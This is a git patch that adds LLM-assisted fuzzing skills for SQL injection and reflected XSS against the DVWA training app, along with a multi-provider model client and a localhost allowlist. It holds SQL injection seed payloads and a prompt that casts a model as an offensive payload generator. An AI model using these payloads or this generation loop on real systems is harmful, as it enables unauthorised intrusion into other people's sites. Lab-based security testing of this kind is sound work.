From 90d5bafed7fe2f0a6483888b1983b4cc331e9cbd Mon Sep 17 00:00:00 2001 From: Joas A Santos <34966120+CyberSecurityUP@users.noreply.github.com> Date: Sun, 17 Aug 2025 11:32:14 -0300 Subject: [PATCH] Add files via upload --- requirements.txt | 1 + src/__pycache__/config.cpython-313.pyc | Bin 1355 -> 2016 bytes src/__pycache__/run.cpython-313.pyc | Bin 1195 -> 1239 bytes .../__pycache__/orchestrator.cpython-313.pyc | Bin 1838 -> 2198 bytes src/agent/__pycache__/planner.cpython-313.pyc | Bin 396 -> 2367 bytes src/agent/orchestrator.py | 4 +- src/agent/planner.py | 39 ++++- src/config.py | 14 ++ src/fuzz/__pycache__/engine.cpython-313.pyc | Bin 0 -> 1615 bytes src/fuzz/__pycache__/seeds.cpython-313.pyc | Bin 0 -> 542 bytes src/fuzz/engine.py | 20 +++ src/fuzz/seeds.py | 19 +++ src/models/__init__.py | 1 + .../__pycache__/__init__.cpython-313.pyc | Bin 0 -> 208 bytes .../__pycache__/provider.cpython-313.pyc | Bin 0 -> 7926 bytes src/models/provider.py | 144 ++++++++++++++++++ src/run.py | 2 +- .../sqli_low_smart.cpython-313.pyc | Bin 0 -> 4067 bytes .../xss_reflected_low_smart.cpython-313.pyc | Bin 0 -> 4150 bytes src/skills/sqli_low_smart.py | 68 +++++++++ src/skills/xss_reflected_low_smart.py | 68 +++++++++ 21 files changed, 376 insertions(+), 4 deletions(-) create mode 100644 src/fuzz/__pycache__/engine.cpython-313.pyc create mode 100644 src/fuzz/__pycache__/seeds.cpython-313.pyc create mode 100644 src/fuzz/engine.py create mode 100644 src/fuzz/seeds.py create mode 100644 src/models/__init__.py create mode 100644 src/models/__pycache__/__init__.cpython-313.pyc create mode 100644 src/models/__pycache__/provider.cpython-313.pyc create mode 100644 src/models/provider.py create mode 100644 src/skills/__pycache__/sqli_low_smart.cpython-313.pyc create mode 100644 src/skills/__pycache__/xss_reflected_low_smart.cpython-313.pyc create mode 100644 src/skills/sqli_low_smart.py create mode 100644 src/skills/xss_reflected_low_smart.py diff --git a/requirements.txt b/requirements.txt index ea973c5..14b1597 100644 --- a/requirements.txt +++ b/requirements.txt @@ -5,3 +5,4 @@ pydantic>=2.8.0 tenacity>=8.2.3 rich>=13.7.1 python-dotenv>=1.0.1 +requests>=2.32.3 diff --git a/src/__pycache__/config.cpython-313.pyc b/src/__pycache__/config.cpython-313.pyc index 30c6732fc97f624e409a515a30e55769b905d1cf..bcf9b5fa44c5cfd88e5fe02cb65a521639c60ba9 100644 GIT binary patch delta 992 zcmYL|PfXKL9LL+WgEH9oGuWUo7(=2%BbjWA0Rv7LU>uCJXo8t(DyytX>6X_b8Hs}N zpote|4-yiCdhtrUc$CDWCYDr#K4T=_ykX$3?{zSj?Azaa-_P&QTi-so_Uk=|Znuj- zpL@Sv=DtuR&qK#YN6CmgIJfbRY4*vErpcY5GtF#+vtmW%s4xCL8 zpbl>vKS@NmZK44Y=|;Y)LU`=$rqhVd)Q5-+&Dovp^ooQC-pet1&_b$X+x)Yb=wEZf~YJ!#I(T3bdgDZub979LCzKTkOf&vDv`~ zD%J5%z~15mgOlidzKkCg=)}|WU7&R#s5yd!MyaGq+#$lOBH;oYJnM#i( zQ^E|FzHxOd$-%08K~hB-dKU9pNf8Ple^<^*z_{rcU-hI?iK&EeCBY|!>s)HZm(%sa zV1K`opBI%}UegC7k?24adK5)m6ouQOCJ9SGfwkp4yVD9|n*-+~u(piZjiA?NMrUS( z=s6&XS_*4h0c^g8@1Y@WNk(_@9ktelqxg0WpOA10in`H2?qr delta 383 zcmaFBf0~Q$GcPX}0}wC;FU&Z_IFYZJX$#}T$!2UtY%%OH91~w_vvPtMlcgE8#DYXY zDp5f&*W_>}Sw``Rr==$MGYRtY#PG(jvjWw`a0GKtd@IY#6U=PN1kn=&R3**I2R5&o zQHv=^9;nMSnBU5SfuTqsMi8h)Kpm(wSg=SaU8tBzfuWc=k1>xSjX_iR7DsSuNl9j2 zdhtsZppwb6nB68%WGP`3p3KJTIN6U?Mw=Tbe2cZXASbf~NRdBqVHoTu07|e5-8vH*3Me`<~XLe^30ZJCh wOqOBMQv<2J#StH$mzbLxAHR~JNEsxj2o|-;%}*)KNwq7|nq0tQ&H|DF0CBW2K>z>% delta 121 zcmcc4xtf#rGcPX}0}vQGFU-*1$ZN&K$U51B$#L=~rf*ydKyg+eF0PooiP?thl39I& z|3{#Z1EqBgntDWy57c10SK K=dhTwfMftwTOOAH diff --git a/src/agent/__pycache__/orchestrator.cpython-313.pyc b/src/agent/__pycache__/orchestrator.cpython-313.pyc index 7052308a3487f7434679a16165b48a7111aabc41..b3cfe809506c7ebeed0ff504cce23cfb9ec38cf0 100644 GIT binary patch delta 811 zcmZ3-H%*ZDGcPX}0}xz(vM}T6L|#e8T@%$^IlOp_c)j?F_$KB^L`g9O^8zuS9(xgg z3{#9i3`>lFJ|mdLY{J9})Qe2U2nO@31I2;`Vg!N(fmjGdC0nqt6hjtEkx;sbrs%|L zXBpWiFJW}lyd_>yTpVANnwFEAT#}j+pOar6U!0p*RC0^2xG*OZ!JmAC*<-RUQx2op zw_BV=rFrqi*_k;xMXEqyp~){;P1r%!_-P7HR%Y|$ z2D=w*uKeU&HYrt*s+B-L0V#0I-{P>z%}*)KNwq7|1&V=^L~--vHEdFfwbvPHFEZ4A uWMkmdx+!LTQ_}IKu<1taGcPX}0}!Y>FU-)J$ScXXYNEPpy#hlpyA(q(2M}`tF&7YX12K;tYY}e@ zQw(1WOAMbrBbdc(!o&*Hk4(n!2lJ`}#e(@__=5R?SO7&OTd<%MLl#SsK)R5oaMeuT z%)HFp#2khEqU4O!;*z4olKhFkcQCR}-oofOS&+qJavD<(qsZjTOldCsKtnZ|igQI9~s_+>! z`2({oBZ>}QLOL2*q)>Hm6Vk!YD#a!WRHVr|*^y0hathlbb15MA7Ke9grE5`9ei6{e z(jY@*fJ8A9kWhg5_7-PRX2KczG$)vibbCpX# z%&gP1n@V}Ohg6`eUy$;^Ln=VPTOUB;5mX7?W1~Y#v~Z#)c-LOc^BEp)~3*;CbY?zh)wE3$He%6Rp9E^a9K)Jh<7Mo7 zgwbUpaHCEzx%1JT_c@ks-S?<0wobjy8<+@+36^A$;;VE4OX@U)8#FPgQ5F>OO!RbY zUz(X1yM!n03)98c<~etTG8`TWT)=vj1SDT(4bNM> zRxB2;kLIr~H324C`IutN#XQnDpQP#qTdV?RqCh;90q%;Cggcg zYv^9~<+ZaNBW4cW8#>gU=)_~@;f{{t=1&$%@7uO=TUKuKnSWZPwXtv0Lv8216WeLL zmBu?y9NJvCZG2wd8aTVI@1zITCLe%76s8==LXC@NnDOB{^Zj~{OG>LUOe{32kO)UT zt1l)@qO$)RG(%MOMz`#3y%HNhwo%bQ$16JM#Br0w|4%Et+%I*O_(dxu{&y>oJqT42 zGwL3XiJdH=zO@Tl2{HI)sY-G$dSwn;&HROZb2cI=WuSlJVXHxFo`=9!%$e+C4ivh# z#LSBMs}si&y1elxh)GqQFC#QN*gst{PxgqzPL<*I5n>8Fq-J*aF^|SaXpGLkiBKA0 zK)#?o^ag|hD>2)w=mr83uo@TO^hH{QHs-j_tJLFog$P%5`)5>Q*zify|L8xge2(;&aBZ@M@DcX-)nkmik}7+(rDM{qG2&r|u&N6z05Jj* z!sCB_?F@dEUoBb}nAgNz&hK*9V-Lv#`v4y)4KE5)eV6wUBzn4F3dk}NdzIR!)DWmp zhgJ%88Hg|r%JoCtqby7i->0lvu*4ySd{U|3D|J|@CzRT+)B#YT?t2pWhPiKrnlDue zE4Jy1IH(XqJr5KfAH; zwUzrKwl;Pzon0IMCcA50`*!f)M(#a(doZ^(n7j4IolN%Txf|!+o>~yldpd@8BuZ z1?|2f<3a{#z3IEGCKNdd#aKf9vxbSNA*6smP}EI}N=C%2;%NoYp}?Z}e1amA-8iP6 zhjR^&z9^mpkZNBE9D+K!rfJ`yku5axFO>Ut=D^$2Yi7qtYlH3a4uWCh(obsmad@9L nvN_g4Fx(EJ;fwKq?EP{gn%;fwjqXV3-9>kcEdNL0BJV!~V7^>_ delta 308 zcmdll)We+qnU|M~0SK6a7iN?J>Bk@r46r~MpOt`&sSLpk!HnJvUW`SI3Jk$aF-*bC zF-#^b!7Ne?Su91&>8zS;FPVS}S2ErbD9B07i_c4~D2Y!@F3HT#n|NBzk{Kum!k;C8 z#8if8Mj!H(J_7|9{4`l^@#Yt#<|SsvC+B3Q=9LtITz`utB{R9C2&8!>LlMZQMI0bu4x8Nk vl+v73yCOay7i3AXG?4hf%*e=imqF(P3nQcI1eXsCKx#(FS0Kfv3f2t(Ffu#0 diff --git a/src/agent/orchestrator.py b/src/agent/orchestrator.py index 8e497c1..440057c 100644 --- a/src/agent/orchestrator.py +++ b/src/agent/orchestrator.py @@ -3,7 +3,7 @@ For MVP we call hardcoded skills; planner integration is available for future lo """ from typing import Dict, Any, Callable from . import planner -from ..skills import login, xss_reflected_low, sqli_low, xss_stored_low, xss_dom_low +from ..skills import login, xss_reflected_low, sqli_low, xss_stored_low, xss_dom_low, xss_reflected_low_smart, sqli_low_smart SKILLS: Dict[str, Callable[[str], Dict[str, Any]]] = { "login": lambda base: login.run(base), @@ -11,6 +11,8 @@ SKILLS: Dict[str, Callable[[str], Dict[str, Any]]] = { "xss_reflected_low": lambda base: xss_reflected_low.run(base), "xss_dom_low": lambda base: xss_dom_low.run(base), "sqli_low": lambda base: sqli_low.run(base), + "sqli_low_smart": lambda base: sqli_low_smart.run(base), + "xss_reflected_low_smart": lambda base: xss_reflected_low_smart.run(base), } def run_skill(base_url: str, skill: str) -> Dict[str, Any]: diff --git a/src/agent/planner.py b/src/agent/planner.py index 96b5f04..b5cb7a0 100644 --- a/src/agent/planner.py +++ b/src/agent/planner.py @@ -1,4 +1,39 @@ -from ..openai_client import plan_next_action +from typing import Dict, Any, List +from ..models import get_provider + +_provider = get_provider() def decide(context: dict) -> dict: - return plan_next_action(context) + """Mantém compat com o antigo: planejar uma ação simples.""" + system = "You are a safe web security agent. Return STRICT JSON." + user = ( + "Given this context, propose one next action as JSON:\n" + "{'tool':'navigate|fill_form|click|noop','target':'url|selector','data':null|{...},'why':'short'}\n\n" + f"Context:\n{context}" + ) + res = _provider.complete_json(system, user) + if not isinstance(res, dict): + res = {"tool":"noop","target":"","data":None,"why":"fallback"} + return res + +def propose_fuzz_payloads(category: str, page_context: dict, seeds: List[str], budget: int=8) -> List[str]: + """Pede ao modelo variações de payload com base nos seeds e contexto da página.""" + system = "You are an offensive security payload generator. Return STRICT JSON: {'payloads': [..]}." + user = ( + f"Category: {category}\n" + f"Seeds: {seeds}\n" + f"Page context (inputs, hints, server msgs): {page_context}\n" + f"Generate up to {budget} diverse payloads. Focus on low-noise, high-signal candidates for DVWA Low.\n" + "Only return JSON: {'payloads': ['...','...']}." + ) + res = _provider.complete_json(system, user) + pls = res.get("payloads", []) if isinstance(res, dict) else [] + # sanity filter + uniq = [] + for p in pls: + if not isinstance(p, str): continue + p = p.strip() + if p and p not in uniq and len(p) < 256: + uniq.append(p) + # fallback: se nada vier, retorne seeds + return uniq or seeds[:budget] diff --git a/src/config.py b/src/config.py index 83c7c8c..d954c69 100644 --- a/src/config.py +++ b/src/config.py @@ -2,8 +2,22 @@ from pydantic import BaseModel import os class Settings(BaseModel): + # Provider: "openai", "ollama", "llamacpp" + model_provider: str = os.getenv("MODEL_PROVIDER", "openai").lower() + + # OpenAI openai_api_key: str = os.getenv("OPENAI_API_KEY", "") openai_model: str = os.getenv("OPENAI_MODEL", "gpt-5") + + # Ollama (LLaMA) + llama_base_url: str = os.getenv("LLAMA_BASE_URL", "http://localhost:11434") + llama_model: str = os.getenv("LLAMA_MODEL", "llama3.1") # ex: llama3.1, llama3.2:latest + + # llama.cpp (local python) + llamacpp_model_path: str = os.getenv("LLAMACPP_MODEL_PATH", "") + llamacpp_n_threads: int = int(os.getenv("LLAMACPP_N_THREADS", "4")) + + # Safety / target allowlist_hosts: list[str] = [h.strip() for h in os.getenv("ALLOWLIST_HOSTS", "localhost,127.0.0.1,dvwa").split(",")] dvwa_url_env: str = os.getenv("DVWA_URL", "").strip() headless: bool = os.getenv("HEADLESS", "true").lower() == "true" diff --git a/src/fuzz/__pycache__/engine.cpython-313.pyc b/src/fuzz/__pycache__/engine.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..8a70788b418f2e5b3e5e2a361d73a4a1b41584dc GIT binary patch literal 1615 zcma)6O>7%Q6rTOD^d(-W?fKm|zhg7Nrxu6{3R*6e0A+eE#6b2BL=q0yQQSZFjc#|HA#2nsxJMX=D zf8X1qNF<2hdOUGe@@7C_`p-`$aSg#?`tHecAiH|@{&M;YA^@ZNg*fZI&#v8$gPj5 z8uIMH^Ledb4Rdc2Dn=4r2Ry-q%;eb;wV9kM={A!l%mxcw)eJ+MH}HYTEd=&*l~`4a z;`~Bwc{yLz8iu76C=2MCjf)lmkE&M0dEKrvAH^6{{`p#=h;8O4*sc*%mwBxA2>^#? zp`$xM?xC#EzDF4$6CZ6`nsS!gxF>t!eZ9lGJLQ?aA@~?=zv6Mzm-eYbw$rmqOWDwg zEP7U>yg)cI>O%=}`L(N7Wxix;id%$oNtvCUQ;uub3_5%*;U_$KCL311!7go zxIvjz(dtYxunA^7F5%c9JSyQ>U_Sm5WpdTB4C;p)#Xamwa?z^bWLYyx$rPq#+o~of zirBO#-XHn^7^Zd-+H2ZLO7tWjK@ywAl8J|_4b}|`OkfUqT{8=%0!Wmcg~xf%=opYD zdJ=wptA7W#!l~xupP{Y|`K!nmkxl${r4<`&g@&4`{ZN+^OKil~7rxcEE_}1pI+Jih z1CBg!1pbHxY|?q`g2GQHC;}+;-q+u8XU|mqfHw05m3*Bg{fsiSsQ7=kMUfWGM zEnhzwyZeGmRKc_8Z(nLqMp~w#0s~5m|I-IDn;S>y6hQwGO;TkK0AAeZd|n*w1wLpCV?n*nl}1j|OcAyUFeUI9kV z17Y$!V224+Cc!I|{~uh$kshv$@~L_W0chfI$q`E_kS2N@j;&u<8E>Zkh@4#!evkI7 ze|)#RBJGEwYnN9quaB&aua56`_uQF&+||8SU#)M-Yq#&-eh}Z%zboD^I>YZiJkz?E zYV}V3BJHMroq9Coq>IktQfs!{nlgUtHMno;X#_>j9Y#?&)|?^dAnvtwvqetanXUXidCo? z_#H9;mK=igb0CM3AP9e>!4?|)3%&VNmW4}O@k0b`=Ovf@Sa|r>PbF7$KD=?vvw7#1 zzLzaL<93JPpb*>4Y|$Zs_W$)FoLje*s9KdA|Sv literal 0 HcmV?d00001 diff --git a/src/fuzz/__pycache__/seeds.cpython-313.pyc b/src/fuzz/__pycache__/seeds.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..5ed9b762dd5b8322f4af3ea7a218ab0779c4f1da GIT binary patch literal 542 zcmZ`$!A`Joq+oMksiymX7C@%$eeN~yZ5sQDyb zFt*(l{_g6N(LBb}q{VB!aJn^v`tJ<6t_H0OC}m~0-|Y-t$Fbe4dhNQyfpgY%POlt$ zL&`a6_s-Yh3s~iQ$WG9h#28JyC`2}9lZ4DrJK$rqJIzZDm?g-|W5oXe-OSSzF^qlI wn%!k3BPRYl!WJ!YDZXdGYW(_;1VLDeMMb List[str]: + """Combina seeds + LLM proposals.""" + props = propose_fuzz_payloads(category, page_ctx, seeds, budget) + pool = list(dict.fromkeys(seeds + props)) # dedup preservando ordem + return pool[: max(budget, len(seeds))] + +def try_candidates(try_func: Callable[[str], Dict[str, Any]], candidates: List[str]) -> Dict[str, Any]: + """Executa candidatos até achar sucesso, retornando o melhor resultado.""" + best = {"ok": False} + for p in candidates: + res = try_func(p) + if res.get("ok"): + return res + # guarda “quase bom” se tiver um reason/signal + if not best.get("ok") and len(res.get("evidence_excerpt","")) > len(best.get("evidence_excerpt","")): + best = res + return best diff --git a/src/fuzz/seeds.py b/src/fuzz/seeds.py new file mode 100644 index 0000000..00c9b70 --- /dev/null +++ b/src/fuzz/seeds.py @@ -0,0 +1,19 @@ +SQLI_SEEDS = [ + "1' OR '1'='1' -- ", + "' OR '1'='1' -- ", + "1' OR 1=1 -- ", + "1' OR '1'='1'#", +] + +XSS_REFLECTED_SEEDS = [ + '', + '">', + '', + '', +] + +XSS_DOM_SEEDS = [ + '', + '">', + '', +] diff --git a/src/models/__init__.py b/src/models/__init__.py new file mode 100644 index 0000000..1d245bc --- /dev/null +++ b/src/models/__init__.py @@ -0,0 +1 @@ +from .provider import get_provider diff --git a/src/models/__pycache__/__init__.cpython-313.pyc b/src/models/__pycache__/__init__.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..c1c1d4dbaa690954436dfee88c91c2c51b6e9894 GIT binary patch literal 208 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 str: ... + def complete_json(self, system: str, user: str) -> Dict[str, Any]: + """Return parsed JSON (tool choice / payload proposals).""" + raise NotImplementedError + +class OpenAIProvider(BaseProvider): + def name(self): + return "openai" + + def complete_json(self, system: str, user: str) -> Dict[str, Any]: + """ + Tenta primeiro via Chat Completions com response_format JSON. + Se a versão do SDK/modelo não suportar, cai para texto puro + parse. + Por fim, tenta a Responses API sem response_format. + """ + import json, re + client = _openai_client() + + # 1) Chat Completions com JSON (preferido) + try: + chat = client.chat.completions.create( + model=settings.openai_model, + messages=[ + {"role": "system", "content": system}, + {"role": "user", "content": user + "\nReturn STRICT JSON only."}, + ], + temperature=0.2, + top_p=0.9, + # algumas versões do SDK suportam isso; se não, cai no except + response_format={"type": "json_object"}, + ) + txt = chat.choices[0].message.content or "{}" + return json.loads(txt) + except Exception: + pass + + # 2) Chat Completions sem response_format (parse heurístico) + try: + chat = client.chat.completions.create( + model=settings.openai_model, + messages=[ + {"role": "system", "content": system}, + {"role": "user", "content": user + "\nReturn STRICT JSON only."}, + ], + temperature=0.2, + top_p=0.9, + ) + txt = chat.choices[0].message.content or "{}" + try: + return json.loads(txt) + except Exception: + m = re.search(r"\{.*\}", txt, re.S) + return json.loads(m.group(0)) if m else {} + except Exception: + pass + + # 3) Responses API (fallback), SEM response_format + try: + resp = client.responses.create( + model=settings.openai_model, + input=[ + {"role":"system","content":system}, + {"role":"user","content":user + "\nReturn STRICT JSON only."}, + ], + temperature=0.2, + top_p=0.9, + max_output_tokens=600, + ) + # diferentes versões expõem campos distintos: + try: + txt = resp.output_text + except Exception: + # tente extrair do conteúdo estruturado + try: + blocks = resp.output + # concatena textos + txt = "".join([b.text if hasattr(b, "text") else "" for b in (blocks or [])]) or "{}" + except Exception: + txt = "{}" + try: + return json.loads(txt) + except Exception: + m = re.search(r"\{.*\}", txt, re.S) + return json.loads(m.group(0)) if m else {} + except Exception: + # último fallback: dict vazio (engine usa seeds) + return {} + +class OllamaProvider(BaseProvider): + def name(self): return "ollama" + def complete_json(self, system: str, user: str) -> Dict[str, Any]: + import requests, json + url = settings.llama_base_url.rstrip("/") + "/api/generate" + prompt = f"[SYSTEM]{system}\n[USER]{user}\nReturn STRICT JSON only." + r = requests.post(url, json={ + "model": settings.llama_model, + "prompt": prompt, + "stream": False, + "options": {"temperature":0.2} + }, timeout=120) + r.raise_for_status() + txt = r.json().get("response","{}") + try: + return json.loads(txt) + except Exception: + # tentativa robusta: extrair bloco {...} + import re + m = re.search(r"\{.*\}", txt, re.S) + return json.loads(m.group(0)) if m else {} + +class LlamaCppProvider(BaseProvider): + def name(self): return "llamacpp" + def complete_json(self, system: str, user: str) -> Dict[str, Any]: + # requer: pip install llama-cpp-python + from llama_cpp import Llama + import json, re, os + llm = Llama(model_path=settings.llamacpp_model_path, n_threads=settings.llamacpp_n_threads, verbose=False) + prompt = f"[SYSTEM]{system}\n[USER]{user}\nReturn STRICT JSON only." + out = llm(prompt=prompt, max_tokens=600, temperature=0.2) + txt = out["choices"][0]["text"] + try: + return json.loads(txt) + except Exception: + m = re.search(r"\{.*\}", txt, re.S) + return json.loads(m.group(0)) if m else {} + +def get_provider() -> BaseProvider: + prov = settings.model_provider + if prov == "openai": + return OpenAIProvider() + if prov == "ollama": + return OllamaProvider() + if prov == "llamacpp": + return LlamaCppProvider() + return OpenAIProvider() diff --git a/src/run.py b/src/run.py index 168a17e..557e3d2 100644 --- a/src/run.py +++ b/src/run.py @@ -5,7 +5,7 @@ from .agent.orchestrator import run_skill def main(): ap = argparse.ArgumentParser() ap.add_argument('--target', required=False, default=settings.dvwa_url_env or "http://localhost:8080") - ap.add_argument('--skill', required=True, choices=['login','xss_reflected_low','sqli_low', 'xss_stored_low', 'xss_dom_low']) + ap.add_argument('--skill', required=True, choices=['login','xss_reflected_low','sqli_low', 'xss_stored_low', 'xss_dom_low', 'sqli_low_smart', 'xss_reflected_low_smart']) args = ap.parse_args() result = run_skill(args.target, args.skill) diff --git a/src/skills/__pycache__/sqli_low_smart.cpython-313.pyc b/src/skills/__pycache__/sqli_low_smart.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..26de711997976e94dc242d8a33351f0be6ef5a5a GIT binary patch literal 4067 zcmcInUu+Y}8Q=B4T|0K{;KU&zfz6)_m;?I)2_k`nfRfN8fFK)7mBL|d?1{5vy=!LH z39RBfeHy@<$CKIz)Ji8FZN*i5D^M%lz3`S(P&x6`Z`NKXp+U3{ z9m_M{eBU?U%zWQBznR_f`8*7iU;Xfhg+BxJJ?&V9s}ehRf%uXU8Ihf0CRxl1l(tRT zChgb`v|V&eIVPRhY0}Oq*CdBIlXgw@z%J`Qy33FF59|j2b5H$MmTH@AvZOJaHCLJw{j(v9 z-)D<)eXJOO^TgkEqoAz0A#rQs( z7^>J)owM!Mn4iyBekL}+1Nd2ef$3&CnAw1($uSb-guonQZv1|p8L}T^=GhMB6mz1g zkc4wH57~VTbOa_<)d)A=$a$iQmXg&-W+9Uc$!aF6&#F=y4RvPW@KdVub9rsh1Pe}= z(@4wehEqzWWp%%LMj~Wc!^zIi4c?-2jTM9XN(Ky)>|9#bK^{nI>4c{0NYxchN}^=W z7bPf>#j?I)uA`YC1tqM7SRz6>T{ejxJ>t3PN+TBI`0DQ2;18dPz@ho6?%MV672jEs$uqEh_PHJ!N?RV+G5NF(3Su^M0=H{5{KyABXRAK zaI>{zx(i%0tjM1RJA+?UVw}L@^+;yL@RMvJ0gH;Kk&fjA zG1_oeja*c;grtz+$a~UGn44UK>Zb?HOMlzi%$C2i=lAGbd z!swlHpk-}lGtg1!8Ghcq*)v|aIsejs=uzLVSJuw2Cw?=$=?@pqOq7FdJ7AB=@p2Lz z2d5zCtE7)Gm(_I*9AI!&Ph)zfAsn}^$=9@HgU#&AEgpnsZv6n!9k%VyEfMl4QiBzh zo#76Ia(j%eXU^92;KJel>x;}`ftESyfU9g5>Sp*(W*6kL5YbHEZ0*vT^-_n>Vp*I% z;4-kRP1m5PGKSWo(+TzTp zi`oU?n9Eu@*z=h7>|$Mvi8*2vPQ4E1Al(nlR0DEr9$2R@!gVv@`WuF;k}HrTHaUsA zKqc4w0f55P9hf@C;79@^I7%}#xiS)lQ$h^hJiT#kF?Wa}+TLTLra;jF*sx%@=d+3u z&%nvb1!y7)CmckP%##WIaBwVOW-wj1wJReg;>?a!ldQ z;N$UmSwZo*!C^!+WeMRP%6C;ZXgJf0Ng3lP<=Kgj@n=AV-ME7?Z1;$XGx#L*FvUsy z3FSKoT@^cr+n`5iQVW&x-~m2D6*&6%)Kp|N?!%2Lml`79Lq+kTp>@4u<9_kT`OSub z{FSoT_i%i5ywG%NV|rt>5bP~^&s2F^-kzejr*M3rmE{(|qK2=bxxsp;N`ssm)MiD|D_HI``~eF*L9h8YzZGo(~j5*Ya1(-r&RQ ztJl}NpEc&M7rp1o!PY{1Z!y@LAFWN-Ui7wqeRf^{C)q+r@6hV$7XV{Nj(BNKLoq@_| zs70=Fw?a-hAWn+mOek_<5uc?>zKSfaWpo*G#61S7VUoCy8lo>7JU}Z7a+rSBU>XaE z9z_jI0mE>c4}E&&(sw`#J`wc$hG+LX0S{5ti?pIg>ivk0jEqzwYKK7LtDr&WBKH7H z-$C%)fk%f+?$$NwpS=5_Yt@ziMTu`KSLiKXDDpy~W8iszfszwde!+iyqq)TQ?&-Fc z_&(a@R=Gl;r^FwxndmI?orSLc5`S*n#km`*v3Yc<G*T;*HSOj@HciF6aSNTl}BNh(i~y7_D_7eOjK zSWzVjY5o}=lT8pxl1f(6BsJ`^svC}^oY2iY`V(UwjY@X$7t>lYtDs>#4XTh_454QQ s9Kf=#n8UA_&R0y=E9SF*FhfB6=(xz9eblwhK(j{7W~1+4v}c<9H*Khg0RR91 literal 0 HcmV?d00001 diff --git 